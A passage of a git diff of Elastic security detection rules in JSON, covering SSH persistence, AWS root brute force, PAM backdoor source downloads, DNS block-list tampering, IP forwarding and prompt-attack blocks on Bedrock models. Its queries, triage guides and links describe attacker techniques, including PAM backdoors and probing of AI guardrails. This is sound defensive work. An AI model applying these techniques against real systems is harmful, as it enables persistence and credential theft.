"MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1556", + "name": "Modify Authentication Process", + "reference": "https://attack.mitre.org/techniques/T1556/", + "subtechnique": [ + { + "id": "T1556.009", + "name": "Conditional Access Policies", + "reference": "https://attack.mitre.org/techniques/T1556/009/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 5 + }, + "id": "498e4094-60e7-11f0-8847-f661ea17fbcd_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/4c3c6c47-e38f-4944-be27-5c80be973bd7_5.json b/packages/security_detection_engine/kibana/security_rule/4c3c6c47-e38f-4944-be27-5c80be973bd7_5.json new file mode 100644 index 00000000000..54eed0b549b --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/4c3c6c47-e38f-4944-be27-5c80be973bd7_5.json @@ -0,0 +1,161 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects the creation of an unusual SSHD child process through the usage of the `new_terms` rule type. Attackers may abuse SSH to maintain persistence on a compromised system, or to establish a backdoor for remote access, potentially resulting in an unusual SSHD child process being created.", + "from": "now-9m", + "history_window_start": "now-14d", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Unusual SSHD Child Process", + "new_terms_fields": [ + "process.executable" + ], + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual SSHD Child Process\n\nSecure Shell (SSH) is a protocol used to securely access remote systems. Adversaries may exploit SSH to maintain persistence or create backdoors by spawning unexpected child processes. The detection rule identifies anomalies by monitoring process creation events where SSH or SSHD is the parent, focusing on atypical command-line arguments, which may indicate malicious activity.\n\n### Possible investigation steps\n\n- Review the process command line arguments for the unusual SSHD child process to identify any suspicious or unexpected commands that could indicate malicious activity.\n- Check the user account associated with the SSHD child process to determine if it is a legitimate user or if there are signs of compromise, such as unusual login times or locations.\n- Investigate the parent process (SSH or SSHD) to understand the context of the connection, including the source IP address and any associated user activity, to assess if it aligns with expected behavior.\n- Examine the process tree to identify any subsequent processes spawned by the unusual SSHD child process, which may provide further insight into the attacker's actions or objectives.\n- Correlate the event with other security logs and alerts from the same host or network segment to identify any related suspicious activities or patterns that could indicate a broader attack campaign.\n\n### False positive analysis\n\n- Legitimate administrative scripts or automation tools may trigger this rule if they execute commands with SSH or SSHD as the parent process. To handle this, identify and document these scripts, then create exceptions for their specific command-line patterns.\n- System maintenance tasks or updates that involve SSH connections might appear as unusual child processes. Regularly review and whitelist these known maintenance activities to prevent unnecessary alerts.\n- Custom user environments or shell configurations that deviate from standard shells like bash, zsh, or sh could be flagged. Analyze these configurations and exclude them if they are verified as non-threatening.\n- Monitoring tools or security solutions that interact with SSH sessions for logging or auditing purposes might generate alerts. Verify these tools' behavior and exclude their processes if they are part of legitimate monitoring activities.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary.\n- Terminate any suspicious SSHD child processes identified by the alert to halt potential malicious activities.\n- Conduct a thorough review of SSH configuration files and access logs to identify unauthorized changes or access patterns, and revert any unauthorized modifications.\n- Change all SSH keys and credentials associated with the compromised system to prevent further unauthorized access.\n- Implement additional monitoring on the affected system and related network segments to detect any further suspicious activities or attempts to re-establish persistence.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected.\n- Review and update firewall rules and access controls to restrict SSH access to only trusted IP addresses and users, reducing the attack surface for future incidents.", + "query": "event.category:process and host.os.type:linux and event.type:start and event.action:(exec or ProcessRollup2) and\nprocess.parent.name:(ssh or sshd) and process.args_count:2 and\nnot (\n process.command_line:(-bash or -zsh or -sh) or\n process.name:(ractrans or exectask or tty or tput or ferny-askpass or id or ip)\n)\n", + "references": [ + "https://hadess.io/the-art-of-linux-persistence/" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.category", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args_count", + "type": "long" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "4c3c6c47-e38f-4944-be27-5c80be973bd7", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1546", + "name": "Event Triggered Execution", + "reference": "https://attack.mitre.org/techniques/T1546/", + "subtechnique": [ + { + "id": "T1546.004", + "name": "Unix Shell Configuration Modification", + "reference": "https://attack.mitre.org/techniques/T1546/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0008", + "name": "Lateral Movement", + "reference": "https://attack.mitre.org/tactics/TA0008/" + }, + "technique": [ + { + "id": "T1021", + "name": "Remote Services", + "reference": "https://attack.mitre.org/techniques/T1021/", + "subtechnique": [ + { + "id": "T1021.004", + "name": "SSH", + "reference": "https://attack.mitre.org/techniques/T1021/004/" + } + ] + }, + { + "id": "T1563", + "name": "Remote Service Session Hijacking", + "reference": "https://attack.mitre.org/techniques/T1563/", + "subtechnique": [ + { + "id": "T1563.001", + "name": "SSH Hijacking", + "reference": "https://attack.mitre.org/techniques/T1563/001/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 5 + }, + "id": "4c3c6c47-e38f-4944-be27-5c80be973bd7_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/4d50a94f-2844-43fa-8395-6afbd5e1c5ef_208.json b/packages/security_detection_engine/kibana/security_rule/4d50a94f-2844-43fa-8395-6afbd5e1c5ef_208.json deleted file mode 100644 index e884ab54b14..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/4d50a94f-2844-43fa-8395-6afbd5e1c5ef_208.json +++ /dev/null @@ -1,98 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies a high number of failed authentication attempts to the AWS management console for the Root user identity. An adversary may attempt to brute force the password for the Root user identity, as it has complete access to all services and resources for the AWS account.", - "false_positives": [ - "Automated processes that attempt to authenticate using expired credentials and unbounded retries may lead to false positives." - ], - "from": "now-20m", - "index": [ - "filebeat-*", - "logs-aws.cloudtrail-*" - ], - "language": "kuery", - "license": "Elastic License v2", - "name": "AWS Management Console Brute Force of Root User Identity", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS Management Console Brute Force of Root User Identity\n\nThe AWS Management Console is a web-based interface for accessing and managing AWS services. The root user identity has unrestricted access, making it a prime target for adversaries seeking unauthorized control. Attackers may attempt brute force attacks to guess the root password. The detection rule identifies such attempts by monitoring failed login events specifically for the root user, flagging potential credential access threats.\n\n### Possible investigation steps\n\n- Review the CloudTrail logs for the specific time frame of the failed login attempts to identify patterns or anomalies in the source IP addresses or user agents.\n- Check the geographical location of the IP addresses involved in the failed login attempts to determine if they are consistent with known or expected locations for legitimate access.\n- Investigate any successful login attempts from the same IP addresses or user agents to assess if the brute force attempt was successful at any point.\n- Analyze the frequency and timing of the failed login attempts to determine if they align with typical brute force attack patterns, such as rapid or sequential attempts.\n- Correlate the failed login events with other security events or alerts in the AWS environment to identify any concurrent suspicious activities that may indicate a broader attack campaign.\n- Review AWS CloudTrail logs for any changes in IAM policies or unusual activity following the failed login attempts to ensure no unauthorized access was gained.\n\n### False positive analysis\n\n- Legitimate users may forget their password and repeatedly attempt to log in, triggering the rule. To manage this, monitor for patterns of failed logins followed by successful ones and consider excluding these from alerts if they originate from known IP addresses.\n- Automated scripts or applications using outdated credentials can cause repeated failed login attempts. Identify and update these credentials or exclude the associated IP addresses from the rule.\n- Security testing or penetration testing activities might simulate brute force attacks. Coordinate with your security team to whitelist IP addresses or timeframes associated with these activities to prevent false positives.\n- Shared accounts or environments where multiple users attempt to access the root account can lead to multiple failed attempts. Implement stricter access controls and consider excluding known internal IP ranges from the rule.\n\n### Response and remediation\n\n- Immediately disable the root user account to prevent further unauthorized access attempts. This can be done through the AWS Management Console by navigating to the IAM section and selecting the root user account.\n- Review the CloudTrail logs to identify the source IP addresses of the failed login attempts. Block these IP addresses using AWS security groups or network ACLs to prevent further access attempts from these locations.\n- Reset the root user password and ensure it is strong and unique. Use a password manager to generate and store the new password securely.\n- Enable multi-factor authentication (MFA) for the root user account to add an additional layer of security. This can be configured in the AWS Management Console under the IAM section.\n- Conduct a thorough audit of recent account activity to ensure no unauthorized changes have been made. Pay special attention to IAM roles, policies, and permissions.\n- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. Provide them with details of the attempted breach and actions taken.\n- Implement additional monitoring and alerting for unusual login patterns or failed login attempts to the root account to enhance early detection of similar threats in the future.", - "query": "event.dataset:aws.cloudtrail and event.provider:signin.amazonaws.com and event.action:ConsoleLogin and aws.cloudtrail.user_identity.type:Root and event.outcome:failure\n", - "references": [ - "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": "aws", - "version": "^2.0.0" - } - ], - "required_fields": [ - { - "ecs": false, - "name": "aws.cloudtrail.user_identity.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - } - ], - "risk_score": 73, - "rule_id": "4d50a94f-2844-43fa-8395-6afbd5e1c5ef", - "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "high", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Use Case: Identity and Access Audit", - "Tactic: Credential Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1110", - "name": "Brute Force", - "reference": "https://attack.mitre.org/techniques/T1110/" - } - ] - } - ], - "threshold": { - "field": [ - "cloud.account.id" - ], - "value": 10 - }, - "timestamp_override": "event.ingested", - "type": "threshold", - "version": 208 - }, - "id": "4d50a94f-2844-43fa-8395-6afbd5e1c5ef_208", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/4f855297-c8e0-4097-9d97-d653f7e471c4_8.json b/packages/security_detection_engine/kibana/security_rule/4f855297-c8e0-4097-9d97-d653f7e471c4_8.json new file mode 100644 index 00000000000..32d828112e7 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/4f855297-c8e0-4097-9d97-d653f7e471c4_8.json @@ -0,0 +1,61 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects repeated high-confidence 'BLOCKED' actions coupled with specific 'Content Filter' policy violation having codes such as 'MISCONDUCT', 'HATE', 'SEXUAL', INSULTS', 'PROMPT_ATTACK', 'VIOLENCE' indicating persistent misuse or attempts to probe the model's ethical boundaries.", + "false_positives": [ + "New model deployments.", + "Testing updates to compliance policies." + ], + "from": "now-60m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Unusual High Confidence Content Filter Blocks Detected", + "note": "## Triage and analysis\n\n### Investigating Unusual High Confidence Content Filter Blocks Detected\n\nAmazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications.\n\nIt enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices.\n\nThrough Guardrail, organizations can enable Content filter for Hate, Insults, Sexual Violence and Misconduct along with Prompt Attack filters prompts\nto prevent the model from generating content on specific, undesired subjects, and they can establish thresholds for harmful content categories.\n\n#### Possible investigation steps\n\n- Identify the user account whose prompts caused high confidence content filter blocks and whether it should perform this kind of action.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "from logs-aws_bedrock.invocation-*\n\n// Expand multi-value fields\n| mv_expand gen_ai.compliance.violation_code\n| mv_expand gen_ai.policy.confidence\n| mv_expand gen_ai.policy.name\n| mv_expand gen_ai.policy.action\n\n// Filter for high-confidence content policy blocks with targeted violations\n| where\n gen_ai.policy.action == \"BLOCKED\"\n and gen_ai.policy.name == \"content_policy\"\n and gen_ai.policy.confidence like \"HIGH\"\n and gen_ai.compliance.violation_code in (\"HATE\", \"MISCONDUCT\", \"SEXUAL\", \"INSULTS\", \"PROMPT_ATTACK\", \"VIOLENCE\")\n\n// keep ECS + compliance fields\n| keep\n user.id,\n gen_ai.compliance.violation_code\n\n// count blocked violations per user per violation type\n| stats\n Esql.ml_policy_blocked_violation_count = count()\n by\n user.id,\n gen_ai.compliance.violation_code\n\n// Aggregate all violation types per user\n| stats\n Esql.ml_policy_blocked_violation_total_count = sum(Esql.ml_policy_blocked_violation_count)\n by\n user.id\n\n// Filter for users with more than 5 total violations\n| where Esql.ml_policy_blocked_violation_total_count > 5\n\n// sort by violation volume\n| sort Esql.ml_policy_blocked_violation_total_count desc\n", + "references": [ + "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", + "https://atlas.mitre.org/techniques/AML.T0051", + "https://atlas.mitre.org/techniques/AML.T0054", + "https://www.elastic.co/security-labs/elastic-advances-llm-security" + ], + "related_integrations": [ + { + "package": "aws_bedrock", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.ml_policy_blocked_violation_total_count", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "4f855297-c8e0-4097-9d97-d653f7e471c4", + "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", + "severity": "medium", + "tags": [ + "Domain: LLM", + "Data Source: AWS Bedrock", + "Data Source: AWS S3", + "Use Case: Policy Violation", + "Mitre Atlas: T0051", + "Mitre Atlas: T0054", + "Resources: Investigation Guide" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 8 + }, + "id": "4f855297-c8e0-4097-9d97-d653f7e471c4_8", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/53ef31ea-1f8a-493b-9614-df23d8277232_5.json b/packages/security_detection_engine/kibana/security_rule/53ef31ea-1f8a-493b-9614-df23d8277232_5.json new file mode 100644 index 00000000000..d3e98ae5e00 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/53ef31ea-1f8a-493b-9614-df23d8277232_5.json @@ -0,0 +1,116 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects the usage of `curl` or `wget` to download the source code of a Pluggable Authentication Module (PAM) shared object file. Attackers may download the source code of a PAM shared object file to create a backdoor in the authentication process.", + "false_positives": [ + "Trusted system module updates or allowed Pluggable Authentication Module (PAM) daemon configuration changes." + ], + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "endgame-*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Pluggable Authentication Module (PAM) Source Download", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Pluggable Authentication Module (PAM) Source Download\n\nPluggable Authentication Modules (PAM) are integral to Linux systems, managing authentication tasks. Adversaries may exploit PAM by downloading its source code to insert backdoors, compromising authentication. The detection rule identifies suspicious downloads of PAM source files using tools like `curl` or `wget`, flagging potential threats to system integrity and user credentials.\n\n### Possible investigation steps\n\n- Review the process details to confirm the use of `curl` or `wget` for downloading the PAM source file, focusing on the `process.name` and `process.args` fields to verify the URL pattern matches the suspicious download.\n- Check the user account associated with the process execution to determine if the activity was initiated by a legitimate user or a potential adversary.\n- Investigate the system's command history and logs to identify any preceding or subsequent commands that might indicate further malicious activity or attempts to compile and install the downloaded PAM source.\n- Examine network logs for any unusual outbound connections or data exfiltration attempts following the download, which could suggest further compromise.\n- Assess the integrity of existing PAM modules on the system to ensure no unauthorized modifications or backdoors have been introduced.\n- Correlate this event with other alerts or anomalies on the same host to identify patterns or a broader attack campaign.\n\n### False positive analysis\n\n- Legitimate system administrators or developers may download PAM source files for testing or development purposes. To handle this, create exceptions for known user accounts or IP addresses that regularly perform such downloads.\n- Automated scripts or configuration management tools might use `curl` or `wget` to download PAM source files as part of routine updates or system setups. Identify these scripts and whitelist their activities to prevent false positives.\n- Security researchers or auditors may download PAM source files to conduct security assessments. Establish a process to verify and approve these activities, allowing exceptions for recognized research teams or individuals.\n- Educational institutions or training environments might download PAM source files for instructional purposes. Implement a policy to exclude these environments from triggering alerts, ensuring they are recognized as non-threatening.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.\n- Terminate any active `curl` or `wget` processes identified in the alert to stop the download of potentially malicious PAM source files.\n- Conduct a thorough review of PAM configuration files and shared object files on the affected system to identify and remove any unauthorized modifications or backdoors.\n- Restore the affected system from a known good backup if unauthorized changes to PAM files are detected and cannot be easily reversed.\n- Implement stricter access controls and monitoring on systems handling PAM configurations to prevent unauthorized downloads or modifications in the future.\n- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network.\n- Update detection mechanisms to monitor for similar download attempts and unauthorized modifications to critical authentication components.", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"exec_event\", \"ProcessRollup2\") and\nprocess.name in (\"curl\", \"wget\") and\nprocess.args like~ \"https://github.com/linux-pam/linux-pam/releases/download/v*/Linux-PAM-*.tar.xz\"\n", + "references": [ + "https://github.com/zephrax/linux-pam-backdoor", + "https://github.com/eurialo/pambd", + "http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html", + "https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "53ef31ea-1f8a-493b-9614-df23d8277232", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Tactic: Persistence", + "Data Source: Elastic Defend", + "Data Source: Elastic Endgame", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1543", + "name": "Create or Modify System Process", + "reference": "https://attack.mitre.org/techniques/T1543/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1556", + "name": "Modify Authentication Process", + "reference": "https://attack.mitre.org/techniques/T1556/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 5 + }, + "id": "53ef31ea-1f8a-493b-9614-df23d8277232_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/57bfa0a9-37c0-44d6-b724-54bf16787492_205.json b/packages/security_detection_engine/kibana/security_rule/57bfa0a9-37c0-44d6-b724-54bf16787492_205.json deleted file mode 100644 index 068cacc2179..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/57bfa0a9-37c0-44d6-b724-54bf16787492_205.json +++ /dev/null @@ -1,126 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies changes to the DNS Global Query Block List (GQBL), a security feature that prevents the resolution of certain DNS names often exploited in attacks like WPAD spoofing. Attackers with certain privileges, such as DNSAdmins, can modify or disable the GQBL, allowing exploitation of hosts running WPAD with default settings for privilege escalation and lateral movement.", - "from": "now-9m", - "index": [ - "logs-endpoint.events.registry-*", - "logs-windows.sysmon_operational-*", - "winlogbeat-*", - "logs-m365_defender.event-*", - "logs-sentinel_one_cloud_funnel.*", - "endgame-*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "DNS Global Query Block List Modified or Disabled", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating DNS Global Query Block List Modified or Disabled\n\nThe DNS Global Query Block List (GQBL) is a security feature in Windows environments that blocks the resolution of specific DNS names, such as WPAD, to prevent attacks like spoofing. Adversaries with elevated privileges can alter or disable the GQBL, enabling them to exploit default settings for privilege escalation. The detection rule monitors registry changes indicating such modifications, flagging potential defense evasion attempts.\n\n### Possible investigation steps\n\n- Review the registry event logs to confirm the specific changes made to the DNS Global Query Block List, focusing on the registry values \"EnableGlobalQueryBlockList\" and \"GlobalQueryBlockList\".\n- Identify the user account associated with the registry change event to determine if the account has elevated privileges, such as DNSAdmins, which could indicate potential misuse.\n- Check for any recent changes in user permissions or group memberships that might have granted the necessary privileges to modify the GQBL.\n- Investigate any other suspicious activities or alerts related to the same user or host around the time of the registry change to identify potential lateral movement or privilege escalation attempts.\n- Correlate the event with network traffic logs to detect any unusual DNS queries or attempts to resolve WPAD or other blocked names, which could suggest exploitation attempts.\n- Review system and security logs for any signs of unauthorized access or other indicators of compromise on the affected host.\n\n### False positive analysis\n\n- Legitimate administrative changes to DNS settings by IT staff can trigger the rule. To manage this, create exceptions for known maintenance windows or authorized personnel making these changes.\n- Automated scripts or software updates that modify DNS settings might be flagged. Identify and whitelist these processes if they are verified as safe and necessary for system operations.\n- Changes made by security tools or network management software that adjust DNS settings for legitimate reasons can be mistaken for threats. Review and exclude these tools from monitoring if they are part of the organization's approved security infrastructure.\n- In environments where WPAD is intentionally used, the absence of \"wpad\" in the GlobalQueryBlockList might be a normal configuration. Document and exclude these cases if they align with the organization's network design and security policies.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement.\n- Revert any unauthorized changes to the DNS Global Query Block List by restoring the registry settings to their default state, ensuring WPAD and other critical entries are included.\n- Conduct a thorough review of user accounts with elevated privileges, such as DNSAdmins, to identify any unauthorized access or privilege escalation. Revoke unnecessary privileges and reset credentials as needed.\n- Deploy endpoint detection and response (EDR) tools to scan the affected system for additional indicators of compromise or malicious activity, focusing on defense evasion techniques.\n- Monitor network traffic for signs of WPAD spoofing or other related attacks, and implement network segmentation to limit the impact of potential threats.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.\n- Update security policies and procedures to include specific measures for monitoring and protecting the DNS Global Query Block List, ensuring rapid detection and response to similar threats in the future.", - "query": "registry where host.os.type == \"windows\" and event.type == \"change\" and\n(\n (registry.value : \"EnableGlobalQueryBlockList\" and registry.data.strings : (\"0\", \"0x00000000\")) or\n (registry.value : \"GlobalQueryBlockList\" and not registry.data.strings : \"wpad\")\n)\n", - "references": [ - "https://cube0x0.github.io/Pocing-Beyond-DA/", - "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/wpad-spoofing", - "https://www.netspi.com/blog/technical-blog/network-penetration-testing/adidns-revisited/" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^9.0.0" - }, - { - "package": "windows", - "version": "^2.5.0" - }, - { - "package": "m365_defender", - "version": "^2.22.0" - }, - { - "package": "sentinel_one_cloud_funnel", - "version": "^1.9.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "registry.data.strings", - "type": "wildcard" - }, - { - "ecs": true, - "name": "registry.value", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "57bfa0a9-37c0-44d6-b724-54bf16787492", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: Elastic Defend", - "Data Source: Sysmon", - "Data Source: Microsoft Defender for Endpoint", - "Data Source: SentinelOne", - "Data Source: Elastic Endgame", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1562", - "name": "Impair Defenses", - "reference": "https://attack.mitre.org/techniques/T1562/", - "subtechnique": [ - { - "id": "T1562.001", - "name": "Disable or Modify Tools", - "reference": "https://attack.mitre.org/techniques/T1562/001/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1557", - "name": "Adversary-in-the-Middle", - "reference": "https://attack.mitre.org/techniques/T1557/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 205 - }, - "id": "57bfa0a9-37c0-44d6-b724-54bf16787492_205", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5a138e2e-aec3-4240-9843-56825d0bc569_106.json b/packages/security_detection_engine/kibana/security_rule/5a138e2e-aec3-4240-9843-56825d0bc569_106.json new file mode 100644 index 00000000000..3b26d1efd9b --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/5a138e2e-aec3-4240-9843-56825d0bc569_106.json @@ -0,0 +1,112 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule monitors for the execution of commands that enable IPv4 and IPv6 forwarding on Linux systems. Enabling IP forwarding can be used to route network traffic between different network interfaces, potentially allowing attackers to pivot between networks, exfiltrate data, or establish command and control channels.", + "from": "now-9m", + "index": [ + "endgame-*", + "logs-endpoint.events.process*", + "logs-sentinel_one_cloud_funnel.*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "IPv4/IPv6 Forwarding Activity", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating IPv4/IPv6 Forwarding Activity\n\nIPv4/IPv6 forwarding allows a Linux system to route traffic between network interfaces, facilitating network communication. While essential for legitimate network operations, adversaries can exploit this capability to pivot across networks, exfiltrate data, or maintain control channels. The detection rule identifies suspicious command executions that enable IP forwarding, focusing on specific command patterns and processes, thus highlighting potential misuse.\n\n### Possible investigation steps\n\n- Review the process command line details to understand the context in which IP forwarding was enabled, focusing on the specific command patterns identified in the alert.\n- Identify the parent process of the suspicious command execution using the process.parent.executable field to determine if it was initiated by a legitimate or potentially malicious process.\n- Check the user account associated with the process execution to assess if the action was performed by an authorized user or if there are signs of compromised credentials.\n- Investigate recent network activity on the host to 